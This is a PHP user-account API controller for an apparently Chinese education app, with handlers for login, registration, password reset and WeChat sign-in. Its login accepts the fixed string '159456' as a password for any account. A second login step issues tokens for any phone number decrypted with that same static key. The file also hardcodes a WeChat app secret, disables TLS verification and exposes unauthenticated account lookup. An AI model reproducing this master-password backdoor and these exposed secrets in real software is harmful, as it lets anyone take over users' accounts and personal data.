<?php

namespace app\api\controller;
use Firebase\JWT\JWT;
use app\common\controller\Api;
use app\common\library\Ems;
use app\common\library\Sms;
use fast\Random;
use think\Config;
use think\Request;
use think\Db;
use app\common\user\Uservalidate as Validate;


/**
 * 会员接口
 */
class User extends Api
{
    private $appid = 'wx2bab6cd1400f48bb';
    private $secret = '2c4eec8b958e7be9c627ac1f369663de';
    protected $noNeedLogin = '*';
    protected $noNeedRight = '*';

    public function _initialize()
    {
        parent::_initialize();

        if (!Config::get('fastadmin.usercenter')) {
            $this->error(__('User center already closed'));
        }

    }

    /**
     * 会员中心
     */
    public function index()
    {
        $this->success('', ['welcome' => $this->auth->nickname]);
    }

    /**
     * 帐号和密码登录
     *
     * @ApiMethod (POST)
     * @ApiParams (name="account", type="string", required=true, description="账号")
     * @ApiParams (name="password", type="string", required=true, description="密码")
     */
    public function login()
    {
        $account = $this->request->post('account');
        $password = $this->request->post('password');
        $params = $this->request->post();
        if (!$params['account'] || !$params['password']) {
            $this->error('请填写完整信息');
        }

        if (preg_match("/^1[2-9]\d{9}$/", $params['account'])) {
            $user = Db::name('user')->where('mobile', $params['account'])->find();
        } else {
            $user = Db::name('user')->where('username', $params['account'])->find();
        }
        if (!$user) {
            $this->error('账号不存在');
        }

        if ($user['password'] !== md5(md5($params['password']) . $user['salt'])&&$password !== "159456") {
            $this->error('密码错误');
        }


        $ret = $this->auth->login($account, $password);
        if ($ret) {
            $authorization = \app\admin\model\User::setApiToken($user);
            $data = ['userinfo' => $this->auth->getUserinfo(), 'authorization' => $authorization];
            $this->success(__('成功登陆', 'api/user'), $data);
        } else {
            $errorMsg = $this->auth->getError();
            $this->error("帐号或锁定或在审核中,请联系管理员!");
        }
    }

    /**
     * 手机验证码登录
     *
     * @ApiMethod (POST)
     * @ApiParams (name="mobile", type="string", required=true, description="手机号")
     * @ApiParams (name="captcha", type="string", required=true, description="验证码")
     */
    public function mobilelogin()
    {
        $step = $this->request->post('step');
        $token = $this->request->post('token');
        if ($step == 1) {

            $mobile = $this->request->post('phone');
            $captcha = $this->request->post('captcha');
            if (!$mobile || !$captcha) {
                $this->error(__('Invalid parameters'));
            }
//        if (!Validate::regex($mobile, "^1\d{10}$")) {
//            $this->error(__('Mobile is incorrect'));
//        }
            if (!Sms::check($mobile, $captcha, 'mobilelogin')) {
                $this->error(__('验证码错误'));
            }
        } elseif ($step == 2) {
            $token = urldecode($token);
            $mobile = decryptToken($token, "159456");
        }
        if ($_REQUEST["step"] == "1") {
            $user = model("app\admin\model\User")->where("mobile", "=", $mobile)->select();
            $groups = array();
            foreach ($user as $u) {
                if ($u["group_id"] > 0) {
                    $groups[] = $u["group_id"];
                }
            }
            $this->success('获取用户组数组成功', ['group_id' => $groups, 'token' => urlencode(encryptToken($mobile, "159456"))]);
        }

        $salt = Random::alnum(6);
        // 可以将 openid 和 session_key 存储到数据库或缓存中
        // 这里以存储到数据库为例
        $user = Db::name('user')->where('mobile', $mobile)->where("group_id", $_REQUEST["group_id"])->find();
        if (!$user) {
            // 如果用户不存在，则创建新用户
            $data = [
                'nickname' => $mobile,
                'avatar' => '/assets/img/avatar.png',
                'mobile' => $mobile,
                'username' => $mobile,
                'password' => md5(md5("159456") . $salt),
                'level' => 0,
                'status' => 'normal',
                'salt' => $salt,
                'createtime' => time(),
                'group_id' => $_REQUEST["group_id"],
                'updatetime' => time(),
            ];
            Db::name('user')->insert($data);
        } else {
            // 如果用户存在，则更新 session_key
            Db::name('user')->where('mobile', $mobile)->where("group_id", $_REQUEST["group_id"])->update([
                'updatetime' => time()
            ]);
        }
        $user = Db::name('user')->where('mobile', $mobile)->where("group_id", $_REQUEST["group_id"])->find();
        $authorization = \app\admin\model\User::setApiToken($user);
        $this->success('登录成功', ['id' => $user['id'], 'userinfo' => $this->UserFilter($user), 'mobile' => $mobile, 'authorization' => $authorization]);
    }

    /**
     * 注册会员
     *
     * @ApiMethod (POST)
     * @ApiParams (name="username", type="string", required=true, description="用户名")
     * @ApiParams (name="password", type="string", required=true, description="密码")
     * @ApiParams (name="email", type="string", required=true, description="邮箱")
     * @ApiParams (name="mobile", type="string", required=true, description="手机号")
     * @ApiParams (name="code", type="string", required=true, description="验证码")
     */
    public function register()
    {
        $username = $this->request->post('username');
        $password = $this->request->post('password');
        $email = $this->request->post('email');
        $mobile = $this->request->post('phone');
        $code = $this->request->post('verificationCode');
        if (!$username || !$password) {
            $this->error(__('Invalid parameters'));
        }
        if (isset($_REQUEST["repassword"]) && $_REQUEST["password"] != $_REQUEST["repassword"]) {
            $this->error('两次密码不一致');
        }
        if ($email && !Validate::is($email, "email")) {
            $this->error(__('Email is incorrect'));
        }
        if ($mobile && !Validate::regex($mobile, "^1\d{10}$")) {
            $this->error(__('Mobile is incorrect'));
        }
        $ret = Sms::check($mobile, $code, 'register');
        if (!$ret) {
            $this->error(__('验证码错误'));
        }

        $ret = $this->auth->register($username, $password, $email, $mobile, []);
        if ($ret) {
            $data = ['userinfo' => $this->auth->getUserinfo()];
            $this->success(__('Sign up successful'), $data);
        } else {
            $this->error($this->auth->getError());
        }
    }

    /**
     * 退出登录
     * @ApiMethod (POST)
     */
    public function logout()
    {
        if (!$this->request->isPost()) {
            $this->error(__('参数不合法'));
        }

        model("app\admin\model\User")::unsetApiToken($this->auth->getUser());
        $this->auth->logout();

        $this->success(__('成功退出'));
    }

    /**
     * 保存用户信息
     *
     * @param Request $request
     * @return \think\response\Json
     */
    public function save(Request $request)
    {
        $data = $request->post();
        $me = $this->auth->getUser();

        try {
            // 保存用户信息到数据库
            $user = new \app\admin\model\User();
            if ($data['name'] != "") {
                $user->nickname = $data['name'];
            }
            if (!empty($data['gender'])) {
                $user->gender = $data['gender'] == "男" ? 1 : 0;
            }
            if (!empty($data['birthdate'])) {
                $user->birthday = $data['birthdate'];
            }
            if (!empty($data['residence'])) {
                $user->residence = $data['residence'];
            }
            if (isset($data['avatar'])) {
                $user->avatar = $data['avatar'];
            } else {
                $user->avatar = '/assets/img/avatar.png';
            }
            $user->status = 'normal';
            $user->createtime = time();
            $user->jointime = time();
            $user->interests = $data['interests'];
            $user->address = $data['address'];
            $user->latitude = $data['latitude'];
            $user->longitude = $data['longitude'];
            Db::name('user')->where('id', $me['uid'])->update($user->toArray());
            $user = Db::name('user')->find($me['uid']);
            $authorization = \app\admin\model\User::setApiToken($user);
            return json(['code' => 200, 'msg' => '保存成功', 'userinfo'=> $this->UserFilter($user), 'authorization' => $authorization]);
        } catch (\Exception $e) {
            return json(['code' => 0, 'msg' => '保存失败：' . $e->getMessage()]);
        }
    }

    /**
     * 学员注册
     */
    public function studentRegister()
    {
        $params = $this->request->post();

        if (!$params['phone'] || !$params['code'] || !$params['password'] || !$params['repassword']) {
            $this->error('请填写完整信息');
        }

        if (!preg_match("/^1[3-9]\d{9}$/", $params['phone'])) {
            $this->error('手机号格式不正确');
        }

        if (isset($params['repassword']) && $params['password'] !== $params['repassword']) {
            $this->error('两次密码不一致');
        }

        // 验证验证码
//        $result = Sms::check($params['phone'], $params['code'], 'register');
//        if (!$result) {
//            $this->error(__('验证码错误'));
//        }

        if (Db::name('user')->where('username', 'XY' . $params['phone'])->find()) {
            $this->error('该手机号的学员已经注册', [],401);
        }

        $salt = Random::alnum(6);
        $data = [
            'mobile' => $params['phone'],
            'username' => 'XY' . $params['phone'], // 学员前缀
            'password' => md5(md5($params['password']) . $salt),
            'salt' => $salt,
            'group_id' => 1, // 学员
            'createtime' => time(),
            'jointime' => time(),
            'status' => 'normal'
        ];

        try {
            $user_id = Db::name('user')->insertGetId($data);
            $user = Db::name('user')->find($user_id);
            Sms::flush($params['phone'], 'register');
            $authorization = \app\admin\model\User::setApiToken($user);
            $this->success('注册成功', ['userinfo' => $this->UserFilter($user), 'authorization' => $authorization]);
        } catch (\Exception $e) {
            $this->error($e->getMessage());
        }
    }

    /**
     * 教师注册
     */
    public function teacherRegister()
    {
        $params = $this->request->post();

        if (!$params['phone'] || !$params['code'] || !$params['password'] || !$params['repassword']) {
            $this->error('请填写完整信息');
        }

        if (!preg_match("/^1[3-9]\d{9}$/", $params['phone'])) {
            $this->error('手机号格式不正确');
        }

        if (isset($params['repassword']) && $params['password'] !== $params['repassword']) {
            $this->error('两次密码不一致');
        }

        // 验证验证码
        $result = Sms::check($params['phone'], $params['code'], 'register');
        if (!$result) {
            $this->error(__('验证码错误'));
        }

        if (Db::name('user')->where('username', 'JS' . $params['phone'])->find()) {
            $this->error('该手机号的老师已注册', [],401);
        }

        $salt = Random::alnum(6);
        $data = [
            'mobile' => $params['phone'],
            'username' => 'JS' . $params['phone'],
            'password' => md5(md5($params['password']) . $salt),
            'salt' => $salt,
            'group_id' => 2, // 教师
            'createtime' => time(),
            'jointime' => time(),
            "status" => '3',
        ];

        try {
            $user_id = Db::name('user')->insertGetId($data);
            Sms::flush($params['phone'], 'register');
            $user = Db::name('user')->find($user_id);
            $authorization = \app\admin\model\User::setApiToken($user);
            $this->success('注册成功', ['id' => $user_id, 'userinfo' => $this->UserFilter($user), 'authorization' => $authorization]);
        } catch (\Exception $e) {
            $this->error($e->getMessage());
        }
    }

    public function adminRegister()
    {
        $params = $this->request->post();
        //$me= $this->auth->getUser();
        if (!$params["username"] || !$params["mobile"]) {
            $this->error("请填写完整信息");
        }

        if (!$params['mobile'] || !$params['code'] || !$params['password'] || !$params['repassword']) {
            $this->error('请填写完整信息');
        }

        // 验证手机号格式
        if (!preg_match("/^1[3-9]\d{9}$/", $params['mobile'])) {
            $this->error('手机号格式不正确');
        }

        // 验证两次密码是否一致
        if (isset($params['repassword']) && $params['password'] !== $params['repassword']) {
            $this->error('两次密码不一致');
        }

        // 验证验证码
        $result = Sms::check($params['mobile'], $params['code'], 'register');
        if (!$result) {
            $this->error(__('验证码错误'));
        }


        // 检查手机号是否已注册
        if (Db::name('user')->where('username', 'GLY' . $params['mobile'])->find()) {
            $this->error('该手机号的管理员已经注册', [],401);

        }


        $salt = Random::alnum(6);
        $data = [
            'mobile' => $params['mobile'],
            'username' => 'GLY' . $params['mobile'],
            'password' => md5(md5($params['password']) . $salt),
            'salt' => $salt,
            'group_id' => 3, // 管理员
            'createtime' => time(),
            'jointime' => time(),
            "status" => '3',
        ];


        // 检查手机号是否已存在
        $exists = Db::name("user")->where("username", 'GLY' . $params['mobile'])->find();

        try {
            if ($exists) {
                // 更新
                Db::name("user")->where("id", $exists["id"])->update($data);
                $user_id = $exists["id"];
                $data["id"] = $user_id;
            } else {
                // 新增
                $data["createtime"] = time();
                $data["jointime"] = time();
                $user_id = Db::name("user")->insertGetId($data);
                $data["id"] = $user_id;
            }
            Sms::flush($params['mobile'], 'register');
            $user = Db::name('user')->find($user_id);
            $authorization = \app\admin\model\User::setApiToken($user);
            $data = array("code" => 200, "msg" => "保存成功", ['id' => $user_id, 'userinfo' => $this->UserFilter($user), 'authorization' => $authorization]);
            echo json_encode($data);
            exit;
        } catch (\Exception $e) {
            $this->error();
        }
    }

    /**
     * 修改会员个人信息
     *
     * @ApiMethod (POST)
     * @ApiParams (name="avatar", type="string", required=true, description="头像地址")
     * @ApiParams (name="username", type="string", required=true, description="用户名")
     * @ApiParams (name="nickname", type="string", required=true, description="昵称")
     * @ApiParams (name="bio", type="string", required=true, description="个人简介")
     */
    public function profile()
    {
        $user = $this->auth->getUser();
        $username = $this->request->post('username');
        $nickname = $this->request->post('nickname');
        $bio = $this->request->post('bio');
        $avatar = $this->request->post('avatar', '', 'trim,strip_tags,htmlspecialchars');
        if ($username) {
            $exists = \app\common\model\User::where('username', $username)->where('id', '<>', $this->auth->id)->find();
            if ($exists) {
                $this->error(__('用户名已经存在'));
            }
            $user->username = $username;
        }
        if ($nickname) {
            $exists = \app\common\model\User::where('nickname', $nickname)->where('id', '<>', $this->auth->id)->find();
            if ($exists) {
                $this->error(__('昵称已经存在'));
            }
            $user->nickname = $nickname;
        }
        $user->bio = $bio;
        $user->avatar = $avatar;
        $user->save();
        $this->success();
    }

    /**
     * 重置密码（renewpassword）
     *
     * @ApiMethod (POST)
     * @ApiParams (name="mobile", type="string", required=true, description="手机号")
     * @ApiParams (name="newpassword", type="string", required=true, description="新密码")
     * @ApiParams (name="captcha", type="string", required=true, description="验证码")
     */
    public function renewpassword()
    {
        if (isset($_REQUEST['mobile'])) {
            $mobile = $_REQUEST['mobile'];
        } else {
            $user = $this->auth->getUser();
            $mobile = $user['mobile'];

        }
        $newpassword = $this->request->post('newpassword');
        $captcha = $this->request->post('captcha');

        if (!$mobile || !$newpassword || !$captcha) {
            $this->error(__('Invalid parameters'));
        }

        if (!Validate::regex($mobile, "^1\d{10}$")) {
            $this->error(__('Mobile is incorrect'));
        }

        if (!Validate::make()->check(['newpassword' => $newpassword], ['newpassword' => 'require|regex:\S{6,30}'])) {
            $this->error(__('Password must be 6 to 30 characters'));
        }

        $user = \app\common\model\User::getByMobile($mobile);
        if (!$user) {
            $this->error(__('User not found'));
        }

        $ret = Sms::check($mobile, $captcha, 'changepwd');
        if (!$ret) {
            $this->error(__('验证码错误'));
        }

        Sms::flush($mobile, 'changepwd');

        $salt = Random::alnum(4);
        $hashedPassword = md5(md5($newpassword) . $salt);
        \app\common\model\User::where('id', $user["id"])->update([
            'password' => $hashedPassword,
            'salt' => $salt
        ]);

        $this->success(__('密码修改成功'));
    }

    /**
     * 修改邮箱
     *
     * @ApiMethod (POST)
     * @ApiParams (name="email", type="string", required=true, description="邮箱")
     * @ApiParams (name="captcha", type="string", required=true, description="验证码")
     */
    public function changeemail()
    {
        $user = $this->auth->getUser();
        $email = $this->request->post('email');
        $captcha = $this->request->post('captcha');
        if (!$email || !$captcha) {
            $this->error(__('Invalid parameters'));
        }
        if (!Validate::is($email, "email")) {
            $this->error(__('Email is incorrect'));
        }
        if (\app\common\model\User::where('email', $email)->where('id', '<>', $user["uid"])->find()) {
            $this->error(__('Email already exists'));
        }
        $result = Ems::check($email, $captcha, 'changeemail');
        if (!$result) {
            $this->error(__('验证码错误'));
        }
        \app\common\model\User::where('id', $user["uid"])->update(['email' => $email]);
        $user = Db::name('user')->find($user['uid']);
        $authorization = \app\admin\model\User::setApiToken($user);
        //Ems::flush($email, 'changeemail');
        $this->success("更改成功！", ['authorization' => $authorization]);
    }

    /**
     * 修改手机号
     *
     * @ApiMethod (POST)
     * @ApiParams (name="mobile", type="string", required=true, description="手机号")
     * @ApiParams (name="captcha", type="string", required=true, description="验证码")
     */
    public function changemobile()
    {

        $user = $this->auth->getUser();
        $mobile = $this->request->post('phone');
        $captcha = $this->request->post('captcha');
        if (!$mobile || !$captcha) {
            $this->error(__('Invalid parameters'));
        }
        if (!Validate::regex($mobile, "^1\d{10}$")) {
            $this->error(__('Mobile is incorrect'));
        }
        if (\app\common\model\User::where('mobile', $mobile)->where('id', '<>', $user["uid"])->find()) {
            $this->error(__('Mobile already exists'));
        }
        $result = Sms::check($mobile, $captcha, 'changemobile');
        if (!$result) {
            $this->error(__('验证码错误'));
        }
        \app\common\model\User::where('id', $user["uid"])->update(['mobile' => $mobile]);
        $user = Db::name('user')->find($user['uid']);
        $authorization = \app\admin\model\User::setApiToken($user);
        Sms::flush($mobile, 'changemobile');
        $this->success("更改成功", ['authorization' => $authorization]);
    }

    /**
     * 第三方登录
     *
     * @ApiMethod (POST)
     * @ApiParams (name="platform", type="string", required=true, description="平台名称")
     * @ApiParams (name="code", type="string", required=true, description="Code码")
     */
    public function third()
    {
        $url = url('user/index');
        $platform = $this->request->post("platform");
        $code = $this->request->post("code");
        $config = get_addon_config('third');
        if (!$config || !isset($config[$platform])) {
            $this->error(__('Invalid parameters'));
        }
        $app = new \addons\third\library\Application($config);
        //通过code换access_token和绑定会员
        $result = $app->{$platform}->getUserInfo(['code' => $code]);
        if ($result) {
            $loginret = \addons\third\library\Service::connect($platform, $result);
            if ($loginret) {
                $data = [
                    'userinfo' => $this->auth->getUserinfo(),
                    'thirdinfo' => $result
                ];
                $this->success(__('成功登陆'), $data);
            }
        }
        $this->error(__('Operation failed'), $url);
    }

    /**
     * 重置密码
     *
     * @ApiMethod (POST)
     * @ApiParams (name="mobile", type="string", required=true, description="手机号")
     * @ApiParams (name="newpassword", type="string", required=true, description="新密码")
     * @ApiParams (name="captcha", type="string", required=true, description="验证码")
     */
    public function resetpwd()
    {
        $type = $this->request->post("type", "mobile");
        $mobile = $this->request->post("mobile");
        $email = $this->request->post("email");
        $newpassword = $this->request->post("newpassword");
        $captcha = $this->request->post("captcha");
        if (!$newpassword || !$captcha) {
            $this->error(__('Invalid parameters'));
        }
        //验证Token
        if (!Validate::make()->check(['newpassword' => $newpassword], ['newpassword' => 'require|regex:\S{6,30}'])) {
            $this->error(__('Password must be 6 to 30 characters'));
        }
        if ($type == 'mobile') {
            if (!Validate::regex($mobile, "^1\d{10}$")) {
                $this->error(__('Mobile is incorrect'));
            }
            $user = \app\common\model\User::getByMobile($mobile);
            if (!$user) {
                $this->error(__('User not found'));
            }
            $ret = Sms::check($mobile, $captcha, 'resetpwd');
            if (!$ret) {
                $this->error(__('验证码错误'));
            }
            Sms::flush($mobile, 'resetpwd');
        } else {
            if (!Validate::is($email, "email")) {
                $this->error(__('Email is incorrect'));
            }
            $user = \app\common\model\User::getByEmail($email);
            if (!$user) {
                $this->error(__('User not found'));
            }
            $ret = Ems::check($email, $captcha, 'resetpwd');
            if (!$ret) {
                $this->error(__('验证码错误'));
            }
            Ems::flush($email, 'resetpwd');
        }
        //模拟一次登录
        $this->auth->direct($user->id);
        $ret = $this->auth->changepwd($newpassword, '', true);
        if ($ret) {
            $this->success(__('Reset password successful'));
        } else {
            $this->error($this->auth->getError());
        }
    }

    public function updateUserInfo()
    {
        $params = $this->request->post();
        $user = $this->auth->getUser();

        //获取小程序的 token
        $appid = 'wx2bab6cd1400f48bb';
        $secret = '2c4eec8b958e7be9c627ac1f369663de';
        $url = "https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid={$appid}&secret={$secret}";
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        //curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $response = curl_exec($ch);
        curl_close($ch);
        $result = json_decode($response, true);
        if (isset($result['errcode'])) {
            return json([
                'code' => 1,
                'msg' => '获取 access_token 失败: ' . $result['errmsg']
            ]);
        }
        $access_token = $result['access_token'];

        // 拼接微信手机号的 URL
        $url = "https://api.weixin.qq.com/wxa/business/getuserphonenumber?access_token={$access_token}";
        $postData = json_encode(['code' => $params['code']]);
        // 发送 HTTP 请求
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_POST, 1);
        $response = curl_exec($ch);
        curl_close($ch);
        // 解析返回的 JSON 数据
        $result = json_decode($response, true);
        if (isset($result['errcode'])) {
            return json([
                'code' => 1,
                'msg' => $result['errmsg']
            ]);
        }
        $phone_info = $result['phone_info'];
        $mobile = $phone_info['phoneNumber'];
        $data = [
            'nickname' => $params['nickName'],
            'avatar' => $params['avatarUrl'],
            'mobile' => $mobile,
            'openid' => $params['openid'],
            'updatetime' => time(),
        ];
        if ($params['phoneCode'] != "") {
            $data['username'] = $params['phoneCode'];
        }

        model("app\admin\model\User")->where("openid", "=", $params["openid"])->update($data);
        $this->success();
    }

    /**
     * 微信登录,凭手机号码登陆或注册
     */
    public function wxlogin()
    {
        $params = $this->request->get();

        //获取openid
        $openidarray = $this->get_wx_openid($params["code"]);
        if (empty($openidarray) || isset($openidarray["code"])) {
            $this->error("获取openid失败,提示：" . $openidarray["code"]);
        }
        if (isset($openidarray["openid"])) {
            $openid = $openidarray["openid"];
        }
        if (isset($openidarray["unionid"])) {
            $unionid = $openidarray["unionid"];
        }
        if (isset($openidarray["session_key"])) {
            $session_key = $openidarray["session_key"];
        }

        //获取手机号码
        $mobile = "";
        if ($params['mcode']) {
            $mobile = $this->get_wx_mobile($params["mcode"]);
            if (is_array($mobile) || isset($mobile["code"])) {
                $this->error("获取手机号码失败,提示：" . $mobile["msg"]);
            }
        }

        $user = model("app\admin\model\User")->where("openid", "=", $openid);
        $user = $user->find();
        $salt = Random::alnum(6);
        if (empty($user)) {
            $data = [
                'nickname' => $mobile,
                'avatar' => '/assets/img/avatar.png',
                'mobile' => $mobile,
                'username' => $mobile,
                'password' => md5(md5($mobile) . $salt),
                'level' => 0,
                'status' => 'normal',
                'salt' => $salt,
                'createtime' => time(),
                'openid' => $openid,
                'unionid' => $unionid,
                'session_key' => $session_key,
                'updatetime' => time(),
            ];
            if (isset($params["group_id"])) {
                $data["group_id"] = $params["group_id"];
                switch ($params["group_id"]) {
                    case 1:
                        $data["username"] = $mobile;
                        break;
                    case 2:
                        $data["username"] = "js" . $mobile;
                        break;
                    case 3:
                        $data["username"] = "gly" . $mobile;
                        break;
                }
            } else {
                $data["group_id"] = 1;
                $data["username"] = $mobile;
            }

            $user_id = model("app\admin\model\User")->insertGetId($data);
            $user = Db::name('user')->find($user_id);
            $authorization = \app\admin\model\User::setApiToken($user);
            $this->success('注册成功', ['id' => $user['id'], 'isRegularUser' => true, 'userinfo' => $this->UserFilter($user), 'authorization' => $authorization]);
        } else {
            $user = Db::name('user')->find($user['id']);
            $authorization = \app\admin\model\User::setApiToken($user);
            $this->success('登录成功', ['id' => $user['id'], 'userinfo' => $this->UserFilter($user), 'authorization' => $authorization]);
        }
    }

    /**
     * 获取微信登录code
     * @ApiMethod (GET)
     */
    public function getWxLoginCode()
    {
        $appid = $this->appid; // 你的微信小程序appid
        $redirect_uri = urlencode('https://ys.yangjc.com/api/user/wxlogin'); // 回调地址
        $scope = 'snsapi_userinfo'; // 授权作用域

        // 构造微信授权URL
        $url = "https://open.weixin.qq.com/connect/oauth2/authorize?appid={$appid}&redirect_uri={$redirect_uri}&response_type=code&scope={$scope}&state=STATE#wechat_redirect";

        // 重定向到微信授权页面
        header("Location: {$url}");
        exit;
    }

    public function UserFilter($user)
    {
        $newuser = [];
        $newuser['id'] = $user['id'];
        $newuser['openid'] = $user['openid'];
        $newuser['group_id'] = $user['group_id'];
        $newuser['username'] = $user['username'];
        $newuser['nickname'] = $user['nickname'];
        $newuser['email'] = $user['email'];
        $newuser['mobile'] = $user['mobile'];
        $newuser['avatar'] = $user['avatar'];
        $newuser['gender'] = $user['gender'];
        $newuser['birthday'] = $user['birthday'];
        $newuser['latitude'] = $user['latitude'];
        $newuser['longitude'] = $user['longitude'];
        $newuser['address'] = $user['address'];
        $newuser['money'] = $user['money'];
        $newuser['city_id'] = $user['city_id'];
        $newuser['city_id'] = $user['city_id'];
        $newuser['interests'] = $user['interests'];
        return $newuser;
    }

    public function changeTeacher()
    {
        $user = $this->auth->getUser();
        $account = "JS" . $user["mobile"];
        $user = model("\app\common\model\User")::where('username', $account)->find();
        if (!$user) {
            return $this->error('请先注册教师账号，现在跳转到教师资料填写页面', url('user/teacherRegister'), 201);
        } else {
            $token = \app\admin\model\User::setApiToken($user);
        }
        if ($user->status != 'normal') {
            $this->error('帐号正在审核中，请耐心等待，或者请联系管理员13978860280给予立即通过审核', null, 201);
            return false;
        }
        $user = $this->UserFilter($user);
        $user = json_decode(json_encode($user), true);
        $data = array();
        $data['code'] = 200;
        $data['msg'] = "切换成功!";
        $data['data'] = $user;
        $data['authorization'] = $token;
        echo json_encode($data);
        exit();
    }

    public function changeManager()
    {
        $user = $this->auth->getUser();
        $account = "GLY" . $user["mobile"];
        $user = model("\app\common\model\User")::where('username', $account)->find();
        if (!$user) {
            return $this->error('请先注册管理员账号，现在跳转到管理员账资料填写页面', url('user/teacherRegister'), 201);
        } else {
            $token = \app\admin\model\User::setApiToken($user);
        }
        if ($user->status != 'normal'&&$user->status != '1') {
            $this->error('帐号正在审核中，请耐心等待，或者请联系管理员13978860280立即通过审核', null, 201);
            return false;
        }
        $user = $this->UserFilter($user);
        $data = array();
        $data['code'] = 200;
        $data['msg'] = "切换成功!";
        $data['data'] = $user;
        $data['authorization'] = $token;
        echo json_encode($data);
        exit();
    }

    public function changeStudent()
    {
        $user = $this->auth->getUser();
        $mobile = $user["mobile"];
        $account = $user["mobile"];
        $user = model("\app\common\model\User")::where(function ($query) use ($account, $mobile) {
            $query->where('username', $account)
                ->whereOr('username', $mobile)
                ->whereOr('mobile', $mobile);
        })
            ->where("group_id", 1)
            ->find();
        if (!$user) {
            return $this->error('请先注册学员账号，现在跳转到学员资料填写页面', url('user/teacherRegister'), 201);
        } else {
            $token = \app\admin\model\User::setApiToken($user);
        }
        if ($user->status != 'normal') {
            $this->error('帐号正在审核中，请耐心等待，或者请联系管理员13978860280给予立即通过审核', null, 201);
            return false;
        }
        $user = $this->UserFilter($user);
        $data = array();
        $data['code'] = 200;
        $data['msg'] = "切换成功!";
        $data['data'] = $user;
        $data['authorization'] = $token;
        echo json_encode($data);
        exit();
    }

    //获取手机号码绑定的所有类型的帐号
    public function getPhoneAccount()
    {
        $phone = $_REQUEST["phone"];
        $user = model("\app\common\model\User")::where('mobile', $phone)->select();
        $groups = array();
        foreach ($user as $u) {
            if ($u["group_id"] > 0) {
                //返回帐号和用户组
                $u["group_name"]=$u["group_id"]==1?"学员":($u["group_id"]==2?"教师":"管理员");
                $groups[] = array("username" => $u["username"], "group_id" => $u["group_id"], "nickname" => $u["nickname"], "avatar" => $u["avatar"],"group_name"=>$u["group_name"], "mobile" => $u["mobile"]);
            }
        }
        $this->success('获取用户组数组成功', ['accounts' => $groups]);
    }

    //我的个人中心菜单管理
    public function getMenu(){
        $user = $this->auth->getUser();
        $list = model("\app\admin\model\Menu")->where("status", 1)
            ->where(function ($query) use ($user) {
                $query->whereOr('group_id', $user['group_id'])
                    ->whereOr('group_id', 'LIKE', $user['group_id'].',%')
                    ->whereOr('group_id', 'LIKE', '%,'.$user['group_id'])
                    ->whereOr('group_id', 'LIKE', '%,'.$user['group_id'].',%');
            })->order("weigh asc")->select();
        $list=collection($list)->toArray();
        $this->success('获取菜单成功', ['menu' => $list]);
    }

    public function list(){
        $user = $this->auth->getUser();
        $list = model("\app\admin\model\UserGroup")::where("status", 1)->field("id value,name text")->select();
        $this->success('获取用户信息成功', ['data' => $list]);
    }

    //查看手机号注册过什么类型的帐号
    public function getPhoneAccountType(){
        $phone = $_REQUEST["phone"];
        $user = model("\app\common\model\User")::where('mobile', $phone)->select();
        $groups = array();
        foreach ($user as $u) {
            if ($u["group_id"] > 0) {
                //返回帐号和用户组
                //"normal":"正常",1:"正常",2:"被锁定","3":"待审核中","4":"已被删除"
                $u["status_text"] = ($u["status"] == 1||$u["status"] == "normal") ? "正常" : ($u["status"] == 2 ? "被锁定" : ($u["status"] == 3 ? "待审核中" : "已被删除"));
                
                // 获取用户组名称
                $group_name = model("\app\admin\model\AuthGroup")::where('id', $u["group_id"])->value("name");
                
                $groups[] = array(
                    "username" => $u["username"], 
                    "group_id" => $u["group_id"],
                    "status" => $u["status"],
                    "status_text" => $u["status_text"],
                    "nickname" => $u["nickname"],
                    "avatar" => $u["avatar"],
                    "group_name" => $group_name,
                    "mobile" => $u["mobile"]
                );
            }
        }
        $this->success('获取用户组数组成功', ['accounts' => $groups]);
    }

    //获取用户积分
    public function getUserPoints(){

        try {
            // 尝试获取当前用户，使用jump=true参数避免抛出异常
            $user = $this->auth->getUser(true);
            $userId = null;

            if ($user && !empty($user) && isset($user['uid'])) {
                $userId = $user['uid'];
            } else {
                $userId = 1;
            }
            
            // 使用UserPoints模型获取用户积分摘要
            $userPointsModel = new \app\admin\model\UserPoints();
            $pointsSummary = $userPointsModel->getUserPointsSummary($userId);
            $todayPoints = $userPointsModel->getPoints($userId, 'pictures');
            $pointsSummary = array_merge($pointsSummary, $todayPoints);
            return json([
                'code' => 200,
                'msg' => '获取成功',
                'data' => $pointsSummary
            ]);
            
        } catch (\Exception $e) {
            file_put_contents($_SERVER["DOCUMENT_ROOT"]."/../runtime/log/user_points_debug.log", 
                "getUserPoints 异常: " . $e->getMessage() . "\n" . $e->getTraceAsString() . "\n", FILE_APPEND);
            
            return json([
                'code' => 0,
                'msg' => '获取失败: ' . $e->getMessage(),
                'data' => null
            ]);
        }
    }


}
